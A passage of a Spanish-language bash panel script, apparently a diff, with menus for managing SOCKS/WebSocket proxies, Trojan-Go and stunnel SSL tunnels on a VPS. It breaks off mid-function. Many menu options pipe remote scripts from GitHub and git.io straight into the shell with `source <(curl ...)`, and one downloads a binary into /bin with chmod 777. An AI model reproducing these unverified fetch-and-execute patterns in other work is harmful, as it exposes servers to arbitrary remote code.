+menu_func "Socks WS OFICIAL ( SCREEM )" "$(msg -ama "Socks WS BETA ( SYSTEM )")" "$(msg -verm2 "Socks WS/Proxy (EPro)( SYSTEM )")"
+msg -bar3
+echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m"
+msg -bar3
+selection=$(selection_fun 3)
+case ${selection} in
+ 1)
+ mod3 "${conect}"
+ sleep 2s
+ ;;
+ 2)
+ mod2 "${conect}"
+ sleep 2s
+ ;;
+ 3)
+ [[ $(uname -m 2> /dev/null) != x86_64 ]] && {
+ msg -ama " BINARIO NO COMPATIBLE CON ARM64 "
+ read -p "PRESIONE ENTER PARA RETORNAR"
+ exit
+ } || {
+ if wget -O /bin/WS-Epro https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/binarios/SockWS/autoStart &>/dev/null ; then
+ chmod 777 /bin/WS-Epro
+ fi
+ mod1 "${conect}"
+ sleep 2s
+ }
+ ;;
+ 0) return 1;;
+esac
+return 1
+}
+#-----------FIN SELECCION--------
+selecPython
+tput cuu1 && tput dl1
+ msg -bar3
+ [[ $(ps x | grep "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') ]] && print_center -verd "PYTHON INICIADO CON EXITO!!!" || print_center -ama " ERROR AL INICIAR PYTHON!!!"
+ msg -bar3
+ sleep 1
+}
+
+iniciarsocks () {
+source $(pwd)/msg
+pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32m[ON]" || P1="\033[1;31m[OFF]"
+pidproxy2=$(ps x | grep -w "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32m[ON]" || P2="\033[1;31m[OFF]"
+pidproxy3=$(ps x | grep -w "PDirect" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32m[ON]" || P3="\033[1;31m[OFF]"
+pidproxy4=$(ps x | grep -w "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32m[ON]" || P4="\033[1;31m[OFF]"
+pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32m[ON]" || P5="\033[1;31m[OFF]"
+pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32m[ON]" || P6="\033[1;31m[OFF]"
+#echo -e "\e[91m\e[43m ==== SCRIPT MOD ChumoGH|EDICION ==== \033[0m \033[0;33m[$(less ${ADM_inst}/v-local.log)]"
+clear&&clear
+figlet 'SOCKSPY'|lolcat
+msg -bar
+ echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m ${flech}SOCKS-PY SIMPLE $P1"
+ echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m ${flech} SOCKS-PY SEGURO $P2"
+ echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m ${flech} SOCKS-PY DIRECTO (WS)$P3"
+ echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m ${flech} SOCKS-PY OPENVPN $P4"
+ echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m ${flech} SOCKS-PY GETTUNEL $P5"
+ echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m ${flech} SOCKS-PY TCP BYPASS $P6"
+
+msg -bar
+
+py=7
+var_p="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "WS-Epro"| wc -l) "
+var_w="$(lsof -V -i tcp -P -n|grep -v "ESTABLISHED"|grep -v "COMMAND"|grep "python"|wc -l)"
+var_check=$(( ${var_p} + ${var_w} ))
+if [[ ${var_check} -ge "2" ]]; then
+ echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m ${flech} ANULAR TODOS"
+echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m ${flech} ELIMINAR UN PUERTO"
+ py=8
+else
+ echo -ne "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m ${flech} ELIMINAR TODOS"
+fi
+
+msg -bar3
+echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra " \033[1;41m VOLVER \033[0m"
+msg -bar3
+selection=$(selection_fun ${py})
+case ${selection} in
+ 1)colector PPub;;
+ 2)colector PPriv;;
+ 3)colector PDirect;;
+ 4)colector POpen;;
+ 5)colector PGet;;
+ 6);;
+ 7)stop_all;;
+ 8)stop_port;;
+ 0)return 1;;
+esac
+return 1
+}
+#chekKEY &> /dev/null 2>&1
+iniciarsocks
+
+ofus () {
+unset txtofus
+number=$(expr length $1)
+for((i=1; i<$number+1; i++)); do
+txt[$i]=$(echo "$1" | cut -b $i)
+case ${txt[$i]} in
+".")txt[$i]="x";;
+"x")txt[$i]=".";;
+"5")txt[$i]="s";;
+"s")txt[$i]="5";;
+"1")txt[$i]="@";;
+"@")txt[$i]="1";;
+"2")txt[$i]="?";;
+"?")txt[$i]="2";;
+"4")txt[$i]="0";;
+"0")txt[$i]="4";;
+"/")txt[$i]="K";;
+"K")txt[$i]="/";;
+esac
+txtofus+="${txt[$i]}"
+done
+echo "$txtofus" | rev
+}
+
+
+
+}
+
+ssrmenu()
+{
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/ssrrmu.sh)
+}
+
+trojan()
+{
+[[ $(mportas|grep trojan|head -1) ]] && {
+# INICIO STUNNEL ACTIVO
+msg -bar
+echo -e "${cor[2]} Trojan-Go ACTIVO en Puertos: $trojanports "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m CONTROL PANNEL \033[0;32m(#OFICIAL by @ChumoGH)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m ELIMINAR TROJAN-GO (s)"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+1)
+#MOD TROJAN REFORMADO EN V5
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/trojango-sh/trojan-sh/mod-trojan.sh);;
+2)
+source <(curl -sL https://git.io/trojan-install) --remove
+killall trojan &> /dev/null 2>&1
+[[ -e /usr/local/etc/trojan/config.json ]] && rm -f /usr/local/etc/trojan /usr/local/etc/trojan/config.json
+[[ -e /bin/troj.sh ]] && rm -f /bin/troj.sh
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+;;
+0)
+return 0
+;;
+esac
+#FIN VERIFICA STUNNEL4 ACTIVO
+} || {
+wget -q -O trojango.sh https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/rm-rf-bin.sh && chmod +x trojango.sh && ./trojango.sh && rm -f trojango.sh
+return 0
+}
+
+}
+
+ssl_stunel() {
+unset selection
+msg -bar
+echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 4 \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m SSL - STUNNEL 5 \033[0;32m(#OFICIAL)"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+1)
+clear&&clear
+ssl_stunel4
+;;
+2)
+clear&&clear
+ssl_stunel5
+;;
+*)
+return 0
+;;
+esac
+}
+
+ssl_stunel4 () {
+unset lang
+sslkk
+[[ $(mportas|grep stunnel|head -1) ]] && {
+[[ -e /usr/local/etc/stunnel/stunnel.conf && ! -e /etc/stunnel/stunnel.conf ]] && {
+echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 5" && sleep 2s
+ssl_stunel5 && return
+}
+# INICIO STUNNEL ACTIVO
+#/ADMcgh/header "ports_"
+sslkk
+msg -bar
+echo -e "${cor[2]} SSL / TLS -> STUNNEL4 ACTIVOS : $sslports "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m<\033[0;33m CERRAR PUERTO(s) SSL"
+msg -bar
+selection=$(selection_fun 3)
+case ${selection} in
+0)
+return 0
+;;
+1)
+#clear
+###
+#head -n -2 /ADMcgh/header > headuser.sh && chmod 777 headuser.sh && source headuser.sh && rm headuser.sh
+#source header "ports_"
+#echo -e "Escriba un nombre para el Redireccionador SSL"
+#read -p ": " nombressl
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) "
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portserv
+ if [[ ! -z $portserv ]]; then
+ if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then
+ break
+ else
+ portserv="$pt"
+ break
+ fi
+ fi
+ done
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+
+echo "[stunnel] " >> /etc/stunnel/stunnel.conf
+echo "cert = /etc/stunnel/stunnel.pem " >> /etc/stunnel/stunnel.conf
+echo "accept = $SSLPORT " >> /etc/stunnel/stunnel.conf
+echo "connect = 127.0.0.1:$portserv" >> /etc/stunnel/stunnel.conf
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp
+service ssh restart 1>/dev/null 2 /dev/null
+service stunnel4 start 1>/dev/null 2 /dev/null
+service stunnel4 restart 1>/dev/null 2 /dev/null
+sslkk
+echo -e "${cor[2]}STUNNEL ACTIVO en Puertos : ${cor[2]}$sslports "
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+#echo "Limpieza Finalizada"
+unset lang
+return 0
+;;
+2)
+echo ""
+echo -e " Creditos a @ChumoGH "
+msg -bar
+read -p " Presiona Enter para continuar "
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh)
+return 0
+;;
+3)
+unset lang
+service stunnel4 stop
+msg -bar
+echo -e "\033[1;33m Cerrando PUERTO SSL/TLS"
+msg -bar
+fun_bar 'apt-get remove stunnel4 -y' 'apt-get purge stunnel4 -y'
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+#echo "Limpieza Finalizada"
+rm -rf /etc/stunnel/* > /dev/null
+echo -e "\033[1;33m PUERTO SSL/TLS CERRADO!"
+msg -bar
+return 0
+;;
+esac
+#FIN VERIFICA STUNNEL4 ACTIVO
+}
+unset lang
+figlet " SSL / TLS " | boxes -d stone -p a2v1
+msg -bar
+echo -e "${cor[2]} Certificado SSL/TLS ( Default: @ChumoGH ) "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Crear Su Certificado SSL \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado AUTOMATICO \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;31m Cargar Certificado WEB \033[0;33m(#EXPERIMENTAL)"
+echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Certificado con DOMINIO \033[0;32m(#OFICIAL)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - STRACK ZEROSSL \033[0;33m(#EXPERIMENTAL)"
+msg -bar
+echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m<\033[0;31m SSL Cert - By @KillShito \033[0;33m(#EXPERIMENTAL)"
+msg -bar
+selection=$(selection_fun 6)
+case ${selection} in
+1)
+msg -bar
+echo -e " Para Crear su Certificado SSL \n En su Primera instancia coloque Codigo de su PAIS \n Ejemplo : EC "
+msg -bar
+echo -e " A continuacion los codigos de Validacion de su Certificado"
+read -p " Presiona Enter para continuar la Instalacion"
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ssl)
+return 0
+;;
+2)
+#sshports=`netstat -tunlp | grep sshd | grep 0.0.0.0: | awk '{print substr($4,9); }' > /tmp/ssh.txt && echo | cat /tmp/ssh.txt | tr '\n' ' ' > /ADMcgh/sshports.txt && cat /ADMcgh/sshports.txt`;
+#sshports=$(cat /ADMcgh/sshports.txt | sed 's/\s\+/,/g' | cut -d , -f1)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+fun_bar "apt install stunnel4 -y"
+echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf
+openssl genrsa -out key.pem 2048 > /dev/null 2>&1
+(echo "$(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')" ; echo "" ; echo "$(cat < /bin/ejecutar/IPcgh):81" ; echo "" ; echo "" ; echo "" ; echo "@ChumoGH")|openssl req -new -x509 -key key.pem -out cert.pem -days 1095 > /dev/null 2>&1
+cat key.pem cert.pem >> /etc/stunnel/stunnel.pem
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+service stunnel4 restart > /dev/null 2>&1
+msg -bar
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+3)
+car_cert () {
+[[ -e /etc/stunnel/stunnel.pem ]] && echo -e "Ya Existe un certificado SSL Cargado \n Recuerde Cargar SU Certificado y Key del SSL " | pv -qL 25
+msg -bar
+echo -e "Descarga el fichero URL del Certificado SSL "
+msg -bar
+ echo -e " \033[4;31mNOTA importante\033[0m"
+ echo -e " \033[0;31mPara este Paso debes tener el URL del certificado Online"
+ echo -e " Si Aun no lo has hecho, Cancela este paso"
+ echo -e " Evitar Errores Futuros"
+ echo -e " y causar problemas en futuras instalaciones.\033[0m"
+ msg -bar
+msg -bar
+echo -e "Ingrese Link del Fichero URL de tu ZIP con los Certificados "
+msg -bar
+read -p " Pega tu Link : " urlm
+wget -O certificados.zip $urlm && echo -e "Descargando Fichero ZIP " || echo "Link de descarga Invalido"
+msg -bar
+echo -ne "\033[1;42m ZIPS Existentes : " && ls | grep zip && echo -e "\033[1;42m"
+msg -bar
+unzip certificados.zip 1> /dev/null 2> /dev/null && echo -e "Descomprimiendo Ficheros descargados" || echo -e "Error al Descomprimir "
+[[ -e private.key ]] && cat private.key > /etc/stunnel/stunnel.pem && echo -e " \033[1;42m Key del Certificado cargada Exitodamente\033[0m" || echo -e " \033[1;41mClaves Invalidas\033[0m"
+[[ -e certificate.crt && -e ca_bundle.crt ]] && cat certificate.crt ca_bundle.crt >> /etc/stunnel/stunnel.pem && echo -e "\033[1;42m CRT del Certificado cargada Exitodamente\033[0m" || echo -e "\033[1;41mClaves Invalidas\033[0m"
+rm -f private.key certificate.crt ca_bundle.crt certificados.zip 1> /dev/null 2> /dev/null && cd $HOME
+}
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i "22" portx
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ return
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+echo -e "\033[1;33m Digite el Puerto SSL, que Va a USAR:"
+msg -bar
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+fun_bar "apt install stunnel4 -y"
+echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf
+car_cert
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+service stunnel4 restart > /dev/null 2>&1
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+msg -bar
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+4)
+msg -bar
+echo -e "\033[1;36m SSL Stunnel"
+msg -bar
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna"
+echo -e "\033[1;33m Ingrese su Puerta Servidor Para o SSL/TLS"
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portx
+ tput cuu1 >&2 && tput dl1 >&2
+ [[ $(mportas | grep $portx) ]] && break
+ echo -e "\033[1;33m El puerto seleccionado no existe"
+ unset portx
+ msg -bar
+ done
+msg -bar
+DPORT="$(mportas|grep $portx|awk '{print $2}'|head -1)"
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+msg -bar
+echo -e "\033[1;33m Instalando SSL/TLS [ $DPORT -> $SSLPORT ] : $(curl -sSL ipinfo.io > info && cat info | grep country | awk '{print $2}' | sed -e 's/[^a-z0-9 -]//ig')"
+msg -bar
+fun_bar "apt install stunnel4 -y"
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/certificadossl.sh)
+echo -e "cert = /etc/stunnel/stunnel.pem\nclient = no\nsocket = a:SO_REUSEADDR=1\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[stunnel]\nconnect = 127.0.0.1:${DPORT}\naccept = ${SSLPORT}" > /etc/stunnel/stunnel.conf
+sed -i 's/ENABLED=0/ENABLED=1/g' /etc/default/stunnel4
+[[ -e /data/cert.crt && -e /data/cert.key ]] && cat /data/cert.key /data/cert.crt >> /etc/stunnel/stunnel.pem || {
+echo -e " ERROR AL CREAR CERTIFICADO "
+apt purge stunnel4 -y > /dev/null 2>&1
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $SSLPORT/tcp 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION FALLIDA"
+msg -bar
+return 0
+}
+service stunnel4 restart > /dev/null 2>&1
+msg -bar
+#echo "Limpiando sistema y Reiniciando Servicios"
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+service ssh restart 1> /dev/null 2> /dev/null
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL4 - SSL"
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;33m INSTALACION EXITOSA"
+msg -bar
+return 0
+;;
+5)
+#echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito "
+echo ""
+echo -e " Creditos a @ChumoGH "
+msg -bar
+read -p " Presiona Enter para continuar "
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/zerossl.sh)
+return 0
+;;
+6)
+msg -bar
+echo -e " ESTE MINI SCRIPT ES FUE DESARROLLADO POR @KillShito "
+echo ""
+echo -e " Creditos a @KillShito "
+msg -bar
+read -p " Presiona Enter para continuar "
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/front.sh)
+return 0
+;;
+*)
+return 0
+;;
+esac
+}
+
+_fun_ST5() {
+sudo apt install autoconf automake libpcre3-dev libnl-3-dev libsqlite3-dev libssl-dev ethtool build-essential g++ libnl-genl-3-dev libgcrypt20-dev libtool python3-distutils -y
+sudo apt install -y pkg-config
+#git clone https://github.com/mtrojnar/stunnel.git
+wget -O stunnel.tar.gz https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/stunnel-5.65.tar.gz
+tar xzf stunnel.tar.gz
+rm -f stunnel.tar.gz
+cd ./stunnel-5.65
+#cd ./stunnel
+./configure
+make
+make install
+#cd /ADMcgh && rm -rf stunnel*
+[[ -z $(cat /etc/passwd | grep "stunnel" | grep -v "stunnel4") ]] && useradd -s /usr/sbin/nologin -r stunnel
+[[ -d /var/lib/stunnel ]] || mkdir /var/lib/stunnel
+chown stunnel:stunnel /var/lib/stunnel
+cp /usr/local/share/doc/stunnel/examples/stunnel.init /etc/init.d/stunnel5
+chmod 755 /etc/init.d/stunnel5
+cp /usr/local/share/doc/stunnel/examples/stunnel.service /etc/systemd/system/stunnel5.service
+}
+function inst_stunnel5() {
+ sleep 1
+ helice() {
+ _fun_ST5 >/dev/null 2>&1 &
+ tput civis
+ while [ -d /proc/$! ]; do
+ for i in / - \\ \|; do
+ sleep .1
+ echo -ne "\e[1D$i"
+ done
+ done
+ tput cnorm
+ }
+ echo -ne "\033[1;37m INSTALANDO Y COMPILANDO \033[1;32mSTUNNEL \033[1;37mV \033[1;32m5\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m"
+ helice
+ echo -e "\e[1DOk"
+}
+
+ssl_stunel5 () {
+unset lang
+
+sslkk
+[[ $(mportas|grep stunnel|head -1) ]] && {
+[[ ! -e /usr/local/etc/stunnel/stunnel.conf && -e /etc/stunnel/stunnel.conf ]] && {
+echo -e " TE REDIRECCIONAREMOS HACIA STUNNEL 4" && sleep 2s
+ssl_stunel4 && return
+}
+# INICIO STUNNEL ACTIVO
+#/ADMcgh/header "ports_"
+msg -bar
+echo -e "${cor[2]} SSL / TLS -> STUNNEL5 ACTIVOS : $sslports "
+msg -bar
+echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m<\033[0;33m ADICIONAR + PUERTO SSL (STUNNEL5) \033[0;32m(#OFICIAL)"
+echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m<\033[0;33m CERRAR TODOS LOS PUERTO(s) SSL"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+0)
+return 0
+;;
+1)source header "ports_"
+unset portserv
+echo -e "\033[1;33m Selecione un Puerto De Redirecionamento Interna (Default 22) "
+msg -bar
+ while true; do
+ echo -ne "\033[1;37m"
+ echo " Ingresa el Puerto Local de tu VPS (Default 22) "
+ read -p " Local-Port: " -e -i $pt portserv
+ if [[ ! -z $portserv ]]; then
+ if lsof -Pi :$portserv -sTCP:LISTEN -t >/dev/null ; then
+ break
+ else
+ portserv="$pt"
+ break
+ fi
+ fi
+ done
+ while true; do
+ echo -e " Ingresa el Nuevo Puerto SSl/TLS \n A Usar en tu VPS (Recomendado 110 442 444)"
+ read -p " Listen-SSL: " SSLPORT
+ tput cuu1 >&2 && tput dl1 >&2
+ PortSSL=`netstat -tlpn | awk -F '[: ]+' '$1=="tcp"{print $5}' | grep -w $SSLPORT`
+ [[ -n "$PortSSL" ]] || break
+ prococup=`netstat -tlpn | awk -F '[: ]+' '$5=="$SSLPORT"{print $9}'`
+ echo -e "\033[1;33m EL PUERTO SE ENCUENTRA OCUPADO POR $prococup"
+ msg -bar
+ return
+ done
+
+echo "
+[stunnel5]
+accept = ${SSLPORT}
+connect = ${portserv}
+cert = /usr/local/etc/stunnel/stunnel.cert
+key = /usr/local/etc/stunnel/stunnel.key
+" >> /usr/local/etc/stunnel/stunnel.conf
+echo -e "\033[1;34m ##############################"
+echo -e "\033[1;37m R E I N I C I A N D O - STUNNEL5 - SSL"
+echo -e "\033[1;34m ##############################"
+[[ -f "/usr/sbin/ufw" ]] && ufw allow $portserv/tcp
+service ssh restart 1>/dev/null 2 /dev/null
+systemctl daemon-reload &>/dev/null
+systemctl restart stunnel5 &>/dev/null
+sslkk
+echo -e "${cor[2]}STUNNEL5 ACTIVO en Puertos : ${cor[2]}$sslports "
+echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null
+sysctl -w vm.drop_caches=3 1> /dev/null 2> /dev/null
+swapoff -a && swapon -a 1> /dev/null 2> /dev/null
+unset lang
+return 0
+;;
+2)
+unset lang
+msg -bar
+echo -e "\033[1;33m Cerrando PUERTO SSL/TLS"
+msg -bar
+fun_bar
+systemctl daemon-reload &>/dev/null
+systemctl stop stunnel5 &>/dev/null
+systemctl disable stunnel5 &>/dev/null
+rm -f /etc/systemd/system/stunnel5.service &>/dev/null
+rm -rf /usr/local/etc/stunnel &>/dev/null
+rm -rf /usr/local/share/doc/stunnel &>/dev/null
